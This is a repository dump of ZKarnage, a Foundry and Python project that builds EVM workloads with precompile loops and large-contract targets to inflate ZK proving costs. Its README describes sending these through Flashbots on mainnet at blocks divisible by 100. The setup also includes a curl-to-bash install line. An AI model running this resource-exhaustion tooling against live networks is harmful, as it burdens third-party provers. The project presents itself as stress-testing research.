├── zkarnage.png ├── .gitmodules ├── requirements.txt ├── src ├── Counter.sol ├── AddressList.sol ├── ZKarnage.yul └── ZKarnage.sol ├── .gitignore ├── .env.example ├── foundry.toml ├── test ├── Counter.t.sol ├── ZKarnage.t.sol └── ZKarnageYul.t.sol ├── script ├── DeployZKarnage.s.sol ├── CheckSizes.s.sol ├── DeployZKarnageYul.s.sol ├── ExecuteZKarnageYul.s.sol ├── generate_block.py └── run_attack.py ├── .github └── workflows │ └── test.yml ├── README.md ├── ATTACKS.md └── MAINNET_EXECUTION_PLAN.md /zkarnage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yourbuddyconner/zkarnage/HEAD/zkarnage.png -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | path = lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | web3>=6.15.1 2 | eth-account>=0.10.0 3 | eth-typing>=3.5.2 4 | eth-utils>=2.3.1 5 | flashbots>=1.2.0 6 | python-dotenv>=1.0.0 7 | aiohttp>=3.9.1 8 | async-timeout>=4.0.3 9 | eth-abi>=4.2.1 10 | requests>=2.31.0 11 | typing-extensions>=4.9.0 12 | loguru>=0.7.2 -------------------------------------------------------------------------------- /src/Counter.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | contract Counter { 5 | uint256 public number; 6 | 7 | function setNumber(uint256 newNumber) public { 8 | number = newNumber; 9 | } 10 | 11 | function increment() public { 12 | number++; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiler files 2 | cache/ 3 | out/ 4 | 5 | # Ignores development broadcast logs 6 | !/broadcast 7 | /broadcast/*/31337/ 8 | /broadcast/**/dry-run/ 9 | 10 | # Docs 11 | docs/ 12 | 13 | # Dotenv file 14 | .env 15 | 16 | # Transaction data 17 | transaction_data.txt 18 | target_block.txt 19 | contract_address.txt 20 | broadcast/ 21 | 22 | **__pycache__/** 23 | **__pycache__ 24 | **logs/** 25 | *.log -------------------------------------------------------------------------------- /.env.example: -------------------------------------------------------------------------------- 1 | # Your Ethereum node RPC URL (e.g. Alchemy, Infura, etc.) 2 | ETH_RPC_URL=https://eth-mainnet.alchemyapi.io/v2/your-api-key 3 | 4 | # Your private key (without 0x prefix) 5 | PRIVATE_KEY=your_private_key_here 6 | 7 | # Optional: Flashbots relay URL (defaults to mainnet) 8 | FLASHBOTS_RELAY_URL=https://relay.flashbots.net 9 | 10 | # Optional: Set logging level (DEBUG, INFO, WARNING, ERROR) 11 | LOG_LEVEL=INFO -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = "src" 3 | out = "out" 4 | libs = ["lib"] 5 | evm_version = "paris" # or "shanghai" or "cancun" depending on your needs 6 | # Enable fork testing 7 | ffi = true 8 | # Increase the default timeout for tests 9 | test_timeout = 100000 10 | gas_reports = ["ZKarnageYul"] 11 | 12 | fs_permissions = [{ access = "read-write", path = "./"}] 13 | 14 | # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options 15 | 16 | [rpc_endpoints] 17 | mainnet = "${ETH_RPC_URL}" 18 | -------------------------------------------------------------------------------- /test/Counter.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import {Test, console} from "../lib/forge-std/src/Test.sol"; 5 | import {Counter} from "../src/Counter.sol"; 6 | 7 | contract CounterTest is Test { 8 | Counter public counter; 9 | 10 | function setUp() public { 11 | counter = new Counter(); 12 | counter.setNumber(0); 13 | } 14 | 15 | function test_Increment() public { 16 | counter.increment(); 17 | assertEq(counter.number(), 1); 18 | } 19 | 20 | function testFuzz_SetNumber(uint256 x) public { 21 | counter.setNumber(x); 22 | assertEq(counter.number(), x); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /script/DeployZKarnage.s.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import {Script} from "../lib/forge-std/src/Script.sol"; 5 | import {console} from "../lib/forge-std/src/console.sol"; 6 | import "../src/ZKarnage.sol"; 7 | 8 | contract DeployZKarnageScript is Script { 9 | function run() external { 10 | // Fetch private key from environment variable 11 | uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY"); 12 | 13 | // Start broadcasting transactions 14 | vm.startBroadcast(deployerPrivateKey); 15 | 16 | // Deploy the attack contract 17 | ZKarnage zkarnage = new ZKarnage(); 18 | 19 | // Log the deployed contract 20 | console.log("ZKarnage contract deployed at:", address(zkarnage)); 21 | 22 | vm.stopBroadcast(); 23 | } 24 | } -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: CI 2 | 3 | on: 4 | push: 5 | pull_request: 6 | workflow_dispatch: 7 | 8 | env: 9 | FOUNDRY_PROFILE: ci 10 | 11 | jobs: 12 | check: 13 | strategy: 14 | fail-fast: true 15 | matrix: 16 | os: [ubuntu-latest] 17 | 18 | name: Foundry project 19 | runs-on: ${{ matrix.os }} 20 | steps: 21 | - uses: actions/checkout@v4 22 | with: 23 | submodules: recursive 24 | 25 | - name: Install Foundry 26 | uses: foundry-rs/foundry-toolchain@v1 27 | 28 | - name: Show Forge version 29 | run: | 30 | forge --version 31 | 32 | - name: Run Forge fmt 33 | run: | 34 | forge fmt --check 35 | id: fmt 36 | 37 | - name: Run Forge build 38 | run: | 39 | forge build --sizes 40 | id: build 41 | 42 | - name: Run Forge tests 43 | run: | 44 | forge test -vvv 45 | id: test 46 | -------------------------------------------------------------------------------- /script/CheckSizes.s.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Script.sol"; 5 | import "../src/AddressList.sol"; 6 | 7 | contract CheckSizesScript is Script { 8 | function run() external { 9 | // Get target contract addresses from the library 10 | address[] memory targets = AddressList.getTargetAddresses(); 11 | 12 | uint256 totalSize = 0; 13 | uint256 count = 0; 14 | 15 | console.log("Checking bytecode sizes for target contracts..."); 16 | console.log("------------------------------------------------"); 17 | 18 | for (uint i = 0; i < targets.length; i++) { 19 | address target = targets[i]; 20 | uint256 size = target.code.length; 21 | 22 | if (size > 0) { 23 | console.log( 24 | string.concat( 25 | "Contract ", 26 | vm.toString(i), 27 | ": ", 28 | vm.toString(target), 29 | " -> ", 30 | vm.toString(size), 31 | " bytes (", 32 | vm.toString(size / 1024), 33 | " KB)" 34 | ) 35 | ); 36 | totalSize += size; 37 | count++; 38 | } else { 39 | console.log( 40 | string.concat( 41 | "Contract ", 42 | vm.toString(i), 43 | ": ", 44 | vm.toString(target), 45 | " -> No code" 46 | ) 47 | ); 48 | } 49 | } 50 | 51 | console.log("------------------------------------------------"); 52 | console.log( 53 | string.concat( 54 | "Total: ", 55 | vm.toString(count), 56 | " contracts with code, totaling ", 57 | vm.toString(totalSize), 58 | " bytes (", 59 | vm.toString(totalSize / 1024), 60 | " KB, ", 61 | vm.toString(totalSize / (1024 * 1024)), 62 | " MB)" 63 | ) 64 | ); 65 | } 66 | } -------------------------------------------------------------------------------- /script/DeployZKarnageYul.s.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import {Script} from "../lib/forge-std/src/Script.sol"; 5 | import {console} from "../lib/forge-std/src/console.sol"; 6 | import {stdJson} from "../lib/forge-std/src/StdJson.sol"; 7 | 8 | contract DeployZKarnageYul is Script { 9 | using stdJson for string; 10 | 11 | function setUp() public {} 12 | 13 | function run() public { 14 | // Compile the contract using forge build 15 | string[] memory compileCmd = new string[](4); 16 | compileCmd[0] = "forge"; 17 | compileCmd[1] = "build"; 18 | compileCmd[2] = "--root"; 19 | compileCmd[3] = "."; 20 | 21 | console.log("Compiling contract..."); 22 | vm.ffi(compileCmd); 23 | 24 | // The artifact path for Yul files follows a specific pattern 25 | string memory artifactPath = "out/ZKarnage.yul/ZKarnage.json"; 26 | 27 | // Read the bytecode from the artifact 28 | console.log("Reading artifact from:", artifactPath); 29 | string memory artifactJson = vm.readFile(artifactPath); 30 | 31 | // Extract bytecode from JSON 32 | string memory bytecodeStr = stdJson.readString(artifactJson, ".bytecode.object"); 33 | console.log("Bytecode string:", bytecodeStr); 34 | 35 | // Convert the string to bytes, ensuring proper 0x prefix handling 36 | bytes memory bytecode; 37 | if (bytes(bytecodeStr).length > 0) { 38 | bytecode = vm.parseBytes(bytecodeStr); 39 | } else { 40 | revert("Failed to read bytecode from artifact"); 41 | } 42 | 43 | console.log("Bytecode length:", bytecode.length); 44 | 45 | // Start broadcasting transactions to the network 46 | vm.startBroadcast(); 47 | 48 | // Deploy the contract 49 | address zkarnageAddr; 50 | 51 | assembly { 52 | // Create the contract with the bytecode 53 | zkarnageAddr := create(0, add(bytecode, 0x20), mload(bytecode)) 54 | if iszero(extcodesize(zkarnageAddr)) { 55 | revert(0, 0) 56 | } 57 | } 58 | 59 | console.log("ZKarnage.yul deployed at:", zkarnageAddr); 60 | 61 | // Stop broadcasting 62 | vm.stopBroadcast(); 63 | 64 | // Write the address to a file for later use 65 | string memory addressString = vm.toString(zkarnageAddr); 66 | vm.writeFile("zkarnage_yul_address.txt", addressString); 67 | console.log("Address saved to zkarnage_yul_address.txt"); 68 | } 69 | } -------------------------------------------------------------------------------- /script/ExecuteZKarnageYul.s.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import {Script} from "../lib/forge-std/src/Script.sol"; 5 | import {console} from "../lib/forge-std/src/console.sol"; 6 | 7 | interface IZKarnageYul { 8 | function f(uint256 opCode, uint256 gasThreshold, uint256 extra) external returns (uint256); 9 | } 10 | 11 | contract ExecuteZKarnageYul is Script { 12 | // Operation codes as defined in ZKarnage.yul 13 | uint256 constant OP_KECCAK = 0x0003; 14 | uint256 constant OP_SHA256 = 0x0023; 15 | uint256 constant OP_ECRECOVER = 0x0021; 16 | uint256 constant OP_MODEXP = 0x0027; 17 | 18 | function setUp() public {} 19 | 20 | function run() public { 21 | // Read command-line arguments 22 | string memory opTypeArg = vm.envOr("OP_TYPE", string("keccak")); 23 | uint256 gasThreshold = vm.envOr("GAS_THRESHOLD", uint256(50000)); 24 | address contractAddress = vm.envOr("CONTRACT_ADDRESS", address(0)); 25 | 26 | // If no contract address provided, try to read from file 27 | if (contractAddress == address(0)) { 28 | try vm.readFile("zkarnage_yul_address.txt") returns (string memory addressStr) { 29 | contractAddress = vm.parseAddress(addressStr); 30 | console.log("Loaded contract address from file:", contractAddress); 31 | } catch { 32 | revert("No contract address provided. Set CONTRACT_ADDRESS env var or run DeployZKarnageYul.s.sol first."); 33 | } 34 | } 35 | 36 | // Verify the contract exists at the address 37 | uint256 codeSize = contractAddress.code.length; 38 | console.log("Contract code size at address:", codeSize); 39 | if (codeSize == 0) { 40 | revert("No contract exists at the provided address"); 41 | } 42 | 43 | console.log("Using contract at address:", contractAddress); 44 | IZKarnageYul zkarnage = IZKarnageYul(contractAddress); 45 | 46 | // Parse operation type and get the corresponding code 47 | uint256 opCode; 48 | if (keccak256(bytes(opTypeArg)) == keccak256(bytes("keccak"))) { 49 | opCode = OP_KECCAK; 50 | console.log("Operation type: KECCAK256"); 51 | } else if (keccak256(bytes(opTypeArg)) == keccak256(bytes("sha256"))) { 52 | opCode = OP_SHA256; 53 | console.log("Operation type: SHA256"); 54 | } else if (keccak256(bytes(opTypeArg)) == keccak256(bytes("ecrecover"))) { 55 | opCode = OP_ECRECOVER; 56 | console.log("Operation type: ECRECOVER"); 57 | } else if (keccak256(bytes(opTypeArg)) == keccak256(bytes("modexp"))) { 58 | opCode = OP_MODEXP; 59 | console.log("Operation type: MODEXP"); 60 | } else { 61 | revert(string.concat("Unknown operation type: ", opTypeArg)); 62 | } 63 | 64 | console.log("Gas threshold:", gasThreshold); 65 | 66 | // Start broadcasting 67 | vm.startBroadcast(); 68 | 69 | // Execute the operation and measure gas usage 70 | console.log("Executing operation..."); 71 | uint256 gasStart = gasleft(); 72 | 73 | try zkarnage.f(opCode, gasThreshold, 0) returns (uint256 result) { 74 | uint256 gasUsed = gasStart - gasleft(); 75 | console.log("Operation successful!"); 76 | console.log("Result:", result); 77 | console.log("Gas used:", gasUsed); 78 | } catch (bytes memory reason) { 79 | vm.stopBroadcast(); 80 | console.log("Operation failed!"); 81 | console.logBytes(reason); 82 | revert("Operation execution failed"); 83 | } 84 | 85 | // Stop broadcasting 86 | vm.stopBroadcast(); 87 | } 88 | } -------------------------------------------------------------------------------- /src/AddressList.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | /** 5 | * @title AddressList 6 | * @dev This library contains all of the addresses that we'll target with our attack 7 | * These addresses have been curated to contain large contracts that will cause 8 | * significant overhead for ZK provers. 9 | */ 10 | library AddressList { 11 | function getTargetAddresses() internal pure returns (address[] memory) { 12 | // We'll allocate the array with exactly the right size for all addresses 13 | address[] memory targets = new address[](6); 14 | // Big contracts collected from bigquery 15 | targets[0] = 0x1908D2bD020Ba25012eb41CF2e0eAd7abA1c48BC; 16 | targets[1] = 0xa102b6Eb23670B07110C8d316f4024a2370Be5dF; 17 | targets[2] = 0x84ab2d6789aE78854FbdbE60A9873605f4Fd038c; 18 | targets[3] = 0xfd96A06c832f5F2C0ddf4ba4292988Dc6864f3C5; 19 | targets[4] = 0xE233472882bf7bA6fd5E24624De7670013a079C1; 20 | targets[5] = 0xd3A3d92dbB569b6cd091c12fAc1cDfAEB8229582; 21 | // targets[6] = 0xB95c8fB8a94E175F957B5044525F9129fbA0fE0C; 22 | // targets[7] = 0x1CE8147357D2E68807a79664311aa2dF47c2E4bb; 23 | // targets[8] = 0x557C810F3F47849699B4ac3D52cb1edcd528B4C0; 24 | // targets[9] = 0x4AEF3B98F153f6d15339E75e1CF3e5a4513093ae; 25 | // targets[10] = 0xaA6B611c840e45c7E883F6c535438bB70ce5cc1C; 26 | // targets[11] = 0xf56a3084cC5EF73265fdf9034E53b07124A60018; 27 | // targets[12] = 0x049Bcfc78720d662c27ca3f985E299e576cC113D; 28 | // targets[13] = 0x856Aa0d05f93599ADf9b6131853EC5f0557A9556; 29 | // targets[14] = 0x9964778500A1a15BbA8d11b958Ac3a1954c1738A; 30 | // targets[15] = 0x7DE6598b348f7e9A7EBFeB641f1F2d73A4aD30dA; 31 | // targets[16] = 0x2741D2aEa27a3463eC0ED1824b2147b5CA00D82F; 32 | // targets[17] = 0x8B319591D75B89A9594e9d570640Edd86CC6E554; 33 | // targets[18] = 0xA2BcD2bbACFB648014f542057a8378b621Fe86BA; 34 | // targets[19] = 0xe5aea18B24961d3717e049F36e65cb60d0aF6F76; 35 | // targets[20] = 0x38D7a126f4d978358313365F3f23Cf5620E2B6bB; 36 | // targets[21] = 0xa503eA1c72bD3B897703B229Ef75398a20E70439; 37 | // targets[22] = 0x692f9411301D9bcd9c652D72861692e48C162166; 38 | // targets[23] = 0xFB1519782165F58974e519C5574AD0FbdFf0f847; 39 | // targets[24] = 0xD331010e5df71DbA03De892cd3C14E436111aCAD; 40 | // targets[25] = 0x1a77842DB300E6804a360bE7463c571a6feBC806; 41 | // targets[26] = 0x0148063fbec76D41F1bA19Ec2efc2C0111452C9c; 42 | // targets[27] = 0x854b0faF9C3f8285c5855f9138619F879E53CA8B; 43 | // targets[28] = 0xdeFe69D19884d69e2D3bCE86696764736BE97657; 44 | // targets[29] = 0x6fb9bAf844dfc39023Ef30C1BAeda239C35000F7; 45 | // targets[30] = 0xd1c04db9bba40d59b397b2c1a050247fbbc49b68; 46 | // targets[31] = 0xcc77aa5e5599af505d339db0a0684a813b182cb9; 47 | // targets[32] = 0x11bdd0a3a481268dd9fa0ab6506bf7774972d7b9; 48 | // targets[33] = 0x4f19f84c022743c4efe10bca5b129147032e9bb3; 49 | // targets[34] = 0xd03f427b6211cf0fedf8dd2ee7658c4090c9cf67; 50 | // targets[35] = 0xe715c633289e2edf6d14376d9b1f8b9b0e96d68c; 51 | // targets[36] = 0x3609a560e9edc0530e815aba56732da436858e11; 52 | // targets[37] = 0x1c196d4f046efc444554c540c56cc2e6ee45d691; 53 | // targets[38] = 0x20074705094166207340d059da119a696c49bdad; 54 | // targets[39] = 0x31c79fc17c5528a6f81c51033a4a36a8e288f36a; 55 | // targets[40] = 0x9452e7b67c4c43e4efb80fb219748a31dbb6b553; 56 | // targets[41] = 0x72c6a0c5040c6eaa7828dd8b8613e07552b3d59b; 57 | // targets[42] = 0xd51367d70aeaf2447e5df1a7922a0ed3105f0d04; 58 | // targets[43] = 0xde731fb8bcb00955fa1b658210485c487547885e; 59 | // targets[44] = 0xcf3f7a5e0140d1d7c263f24d2c2d757102912c33; 60 | // targets[45] = 0x6471256e9fdb6c68caa8ae62c01b51b9e1a46bc9; 61 | // targets[46] = 0x8c7423b3db24a2c679a9f317550b3e793a10197d; 62 | // targets[47] = 0xde7ad7a2f133895624e7602517dd4b4b139d7bb9; 63 | // targets[48] = 0x4dcda6a15783b5e302349d738030079b6342e54a; 64 | // targets[49] = 0x48c3f03f77668da8c76486d5fcaab43c81ada32e; 65 | 66 | return targets; 67 | } 68 | } -------------------------------------------------------------------------------- /src/ZKarnage.yul: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | object "ZKarnage" { 3 | code { 4 | // Constructor 5 | datacopy(0, dataoffset("Runtime"), datasize("Runtime")) 6 | return(0, datasize("Runtime")) 7 | } 8 | object "Runtime" { 9 | code { 10 | // This contract is inspired by evm-stress.yul from the agglayer repository 11 | // https://github.com/agglayer/e2e/blob/jhilliard/evm-stress-readme/core/contracts/evm-stress/README.org 12 | // It exposes a single function that runs various EVM operations in a loop until a gas threshold is reached 13 | 14 | // Function selector is the first 4 bytes of the calldata 15 | let selector := shr(224, calldataload(0)) 16 | switch selector 17 | // Function: f(uint256,uint256,uint256) 18 | case 0xbf06dbf1 { 19 | // Parse function arguments 20 | // First arg: op_code - The operation to execute 21 | let op_code := calldataload(4) 22 | // Second arg: limit - Gas threshold to stop the loop 23 | let limit := calldataload(36) 24 | // Third arg: extra - Optional additional parameters 25 | let extra := calldataload(68) 26 | 27 | // Store the result value (if any) 28 | let i := 0 29 | 30 | // Handle different operation types 31 | switch op_code 32 | 33 | // KECCAK256 Handler (0x0003) 34 | case 0x0003 { 35 | mstore(0, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) 36 | for {} gt(gas(), limit) {} { 37 | // Input is modified slightly each iteration to avoid optimizations 38 | mstore(0, not(mload(0))) 39 | i := keccak256(0, 32) 40 | } 41 | // Store result of final operation 42 | mstore(0, i) 43 | } 44 | 45 | // SHA-256 Handler (0x0023) 46 | case 0x0023 { 47 | // Set up memory with test data 48 | mstore(0, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) 49 | mstore(32, 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee) 50 | for {} gt(gas(), limit) {} { 51 | // Modify input data slightly each iteration 52 | mstore(0, not(mload(0))) 53 | // Call SHA-256 precompile (address 0x2) 54 | pop(staticcall(gas(), 0x2, 0, 64, 96, 32)) 55 | i := mload(96) 56 | } 57 | // Store result 58 | mstore(0, i) 59 | } 60 | 61 | // ECRECOVER Handler (0x0021) 62 | case 0x0021 { 63 | // Data for a valid signature recovery 64 | mstore(0, 0x456e9aea5e197a1f1af7a3e85a3212fa4049a3ba34c2289b4c860fc0b0c64ef3) // Hash 65 | mstore(32, 28) // v 66 | mstore(64, 0x9242685bf161793cc25603c231bc2f568eb630ea16aa137d2664ac8038825608) // r 67 | mstore(96, 0x4f8ae3bd7535248d0bd448298cc2e2071e56992d0774dc340c368ae950852ada) // s 68 | for {} gt(gas(), limit) {} { 69 | // Call ecrecover precompile (address 0x1) 70 | pop(staticcall(gas(), 0x1, 0, 128, 160, 32)) 71 | i := mload(160) 72 | } 73 | // Store result 74 | mstore(0, i) 75 | } 76 | 77 | // MODEXP Handler (0x0027) 78 | case 0x0027 { 79 | // Set up inputs for modular exponentiation 80 | // Base length = 32 bytes 81 | mstore(0, 32) 82 | // Exponent length = 32 bytes 83 | mstore(32, 32) 84 | // Modulus length = 32 bytes 85 | mstore(64, 32) 86 | // Base = random large number 87 | mstore(96, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) 88 | // Exponent = random large number 89 | mstore(128, 0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) 90 | // Modulus = random large prime-like number 91 | mstore(160, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff43) 92 | for {} gt(gas(), limit) {} { 93 | // Call ModExp precompile (address 0x5) 94 | pop(staticcall(gas(), 0x5, 0, 192, 192, 32)) 95 | i := mload(192) 96 | } 97 | // Store result 98 | mstore(0, i) 99 | } 100 | 101 | default { 102 | // Unsupported operation 103 | mstore(0, 0x4641494c21) // "FAIL!" 104 | revert(0, 0x20) 105 | } 106 | 107 | // Return the result 108 | return(0, 32) 109 | } 110 | 111 | default { 112 | // Unknown function selector 113 | revert(0, 0) 114 | } 115 | } 116 | } 117 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | # ZKarnage 4 | ### Stress Testing ZK Systems Through Maximum Pain 5 | 6 | This project implements worst-case attacks on Ethereum provers, specifically targeting the computational overhead required for generating zero-knowledge proofs for blocks. The attacks exploit various EVM operations and precompiles that are disproportionately expensive in ZK circuits compared to their gas costs. 7 | 8 |
9 | 10 | ![circuit header](zkarnage.png) 11 | 12 | > Credit: Original attack vector concept by [@ignaciohagopian](https://x.com/ignaciohagopian) from the Ethereum Foundation 13 | > 14 | > Implementation inspired by [evm-stress.yul](https://github.com/agglayer/e2e/blob/jhilliard/evm-stress-readme/core/contracts/evm-stress/evm-stress.yul) from the [agglayer repository](https://github.com/agglayer/e2e/blob/jhilliard/evm-stress-readme/core/contracts/evm-stress/README.org) 15 | 16 | ## Background 17 | 18 | Zero-knowledge proof systems that verify Ethereum blocks face several challenges: 19 | 20 | 1. **Gas Cost vs. ZK Circuit Complexity**: Many EVM operations have gas costs that don't reflect their true computational complexity in ZK circuits. Some operations can be up to 1000x more expensive to prove than their gas cost suggests. 21 | 22 | 2. **Precompile Asymmetry**: Precompiled contracts, particularly cryptographic operations like MODEXP and BN_PAIRING, show extreme disparities between their gas costs and ZK circuit complexity. For example: 23 | - MODEXP: 200 gas but 215,389 cycles (1076.95x) 24 | - BN_PAIRING: 45,000 gas but 1,705,904 cycles (37.91x) 25 | 26 | 3. **Memory Operations**: Operations involving memory access and copying are significantly more expensive in ZK circuits due to the need to track and verify memory state. 27 | 28 | 4. **Jump Destinations**: Simple operations like JUMPDEST (1 gas) require complex circuit logic, leading to a 1037.68x multiplier in ZK overhead. 29 | 30 | The project targets blocks where block number % 100 == 0, as these are the blocks that [Ethproof provers](https://ethproofs.org/) focus on generating proofs for. Currently, these proofs: 31 | - Take ~4-14 minutes to generate per block 32 | - Cost $0.07-1.29 per proof depending on the prover 33 | - Process blocks using ~30M gas on average 34 | 35 | ## Attack Vectors 36 | 37 | This project implements multiple attack vectors targeting these inefficiencies. For detailed information about each attack vector and its implementation, see [ATTACKS.md](ATTACKS.md). 38 | 39 | ## Network Resilience Testing 40 | 41 | This research serves several important purposes: 42 | 43 | 1. **Permissionless Network Testing**: Ethereum is a permissionless network where any theoretically supported operation is fair game. These attacks use only valid EVM operations. 44 | 45 | 2. **Early Detection**: By identifying and documenting these attack vectors before widespread ZK rollup adoption, we enable: 46 | - Improved circuit optimization strategies 47 | - Better gas cost calibration 48 | - More robust scaling solutions 49 | 50 | 3. **Worst-Case Analysis**: ZK systems must be designed to handle worst-case scenarios, not just typical usage patterns. These attacks help identify potential bottlenecks. 51 | 52 | 4. **Cost Model Validation**: The research highlights misalignments between EVM gas costs and ZK circuit complexity, informing future gas schedule updates. 53 | 54 | ## Project Structure 55 | 56 | ``` 57 | zkarnage/ 58 | ├── src/ # Source code 59 | │ ├── ZKarnage.sol # Main attack contract implementation 60 | │ └── AddressList.sol # Library containing target contract addresses 61 | ├── script/ # Deployment and execution scripts 62 | │ ├── DeployZKarnage.s.sol # Deploy the attack contract 63 | │ └── run_attack.py # Python orchestration script for Flashbots bundles 64 | ├── test/ # Test files 65 | │ └── ZKarnage.t.sol # Tests for attack contract functionality 66 | ├── ATTACKS.md # Detailed attack vector documentation 67 | ├── foundry.toml # Foundry configuration 68 | ├── requirements.txt # Python dependencies 69 | └── README.md # This file 70 | ``` 71 | 72 | ## Setup 73 | 74 | 1. Install Foundry: 75 | ```bash 76 | curl -L https://foundry.paradigm.xyz | bash 77 | foundryup 78 | ``` 79 | 80 | 2. Clone this repo: 81 | ```bash 82 | git clone https://github.com/yourbuddyconner/zkarnage 83 | cd zkarnage 84 | ``` 85 | 86 | 3. Install dependencies: 87 | ```bash 88 | forge install 89 | pip install -r requirements.txt 90 | ``` 91 | 92 | 4. Set up your environment: 93 | ```bash 94 | cp .env.example .env 95 | # Edit .env with your values: 96 | # - ETH_RPC_URL: Your Ethereum node URL 97 | # - PRIVATE_KEY: Your private key (without 0x prefix) 98 | # - FLASHBOTS_RELAY_URL: Optional custom Flashbots relay URL 99 | # - ZKARNAGE_CONTRACT_ADDRESS: Deployed contract address (if exists) 100 | ``` 101 | 102 | ## Usage 103 | 104 | ### Deploy Contract 105 | 106 | To deploy the ZKarnage contract: 107 | 108 | ```bash 109 | forge script script/DeployZKarnage.s.sol --rpc-url $ETH_RPC_URL --broadcast 110 | ``` 111 | 112 | ### Run Attack Script 113 | 114 | The Python script handles Flashbots bundle submission for executing the attack: 115 | 116 | ```bash 117 | python script/run_attack.py [--fast] 118 | ``` 119 | 120 | The script provides: 121 | - Automatic targeting of blocks divisible by 100 122 | - Flashbots bundle creation and submission 123 | - Dynamic fee adjustment based on account priority status 124 | - Real-time bundle status monitoring 125 | - Detailed logging of attack execution 126 | 127 | Options: 128 | - `--fast`: Target block 2 blocks ahead (for testing) instead of waiting for hundred-blocks 129 | - Without flags: Continuously attempts attack on hundred-blocks until successful 130 | 131 | Features: 132 | - Automatic logging to timestamped files in `logs/` directory 133 | - Dynamic gas pricing based on Flashbots account priority 134 | - Bundle simulation before submission 135 | - Real-time monitoring of bundle status and builder consideration 136 | - Transaction confirmation verification 137 | - Graceful error handling and retries 138 | 139 | Example log output: 140 | ``` 141 | 2024-01-01 12:00:00 - INFO - Preparing ZKarnage attack 142 | 2024-01-01 12:00:00 - INFO - Current block: 1234567 143 | 2024-01-01 12:00:00 - INFO - Target block: 1234600 144 | 2024-01-01 12:00:00 - INFO - Checking Flashbots user stats and reputation... 145 | 2024-01-01 12:00:01 - INFO - Bundle simulation successful 146 | 2024-01-01 12:00:02 - INFO - Bundle submitted successfully 147 | 2024-01-01 12:00:03 - INFO - Bundle sealed by 3 builders 148 | ``` 149 | 150 | ### Testing 151 | 152 | Run the tests to measure gas consumption and effectiveness: 153 | 154 | ```bash 155 | # Set your Ethereum RPC URL for forking mainnet 156 | export ETH_RPC_URL="https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY" 157 | 158 | # Run tests with verbose output 159 | forge test -vvvv 160 | ``` 161 | 162 | ### Test Configuration 163 | 164 | The tests require proper setup in `foundry.toml`: 165 | ```toml 166 | [profile.default] 167 | evm_version = "paris" # Required for consistent fork testing 168 | ffi = true # Enable fork testing 169 | test_timeout = 100000 # Increased timeout for fork tests 170 | 171 | [rpc_endpoints] 172 | mainnet = "${ETH_RPC_URL}" 173 | ``` 174 | 175 | ## License 176 | 177 | This project is licensed under MIT. 178 | 179 | ## Citation 180 | 181 | If you use this work in your research, please cite it as: 182 | 183 | ```bibtex 184 | @software{zkarnage2025, 185 | author = {Swann, Conner}, 186 | title = {ZKarnage: Stress Testing ZK Systems Through Maximum Pain}, 187 | year = {2025}, 188 | publisher = {GitHub}, 189 | url = {https://github.com/yourbuddyconner/zkarnage} 190 | } 191 | ``` -------------------------------------------------------------------------------- /ATTACKS.md: -------------------------------------------------------------------------------- 1 | # ZKarnage Attack Vectors 2 | 3 | This document details the various attack vectors implemented in the ZKarnage contract, designed to stress test ZK systems by exploiting operations that are disproportionately expensive in ZK circuits compared to their gas costs. 4 | 5 | ## JUMPDEST Attack 6 | - **Gas Cost**: 1 gas 7 | - **ZK Circuit Complexity**: 1037.68x multiplier 8 | - **Estimated Cycles per Iteration**: 116,220 9 | - **Implementation**: Uses a series of JUMPDEST operations to create a high number of jump destinations that must be verified in the ZK circuit. 10 | 11 | ## Memory Operations Attack 12 | - **Gas Cost**: 3 gas per memory operation 13 | - **ZK Circuit Complexity**: 3-4x multiplier 14 | - **Estimated Cycles per Iteration**: 608 15 | - **Implementation**: Performs multiple memory operations (loads and stores) to stress memory access verification in ZK circuits. 16 | 17 | ## CALLDATACOPY Attack 18 | - **Gas Cost**: 3 gas per word 19 | - **ZK Circuit Complexity**: 3-4x multiplier 20 | - **Estimated Cycles per Iteration**: 13,900 21 | - **Implementation**: Copies large amounts of calldata to memory, creating complex memory state that must be verified. 22 | 23 | ## MODEXP Attack 24 | - **Gas Cost**: 200 gas 25 | - **ZK Circuit Complexity**: 1076.95x multiplier (from [EIP-7883](https://eips.ethereum.org/EIPS/eip-7883)) 26 | - **Estimated Cycles per Iteration**: 8,384,000 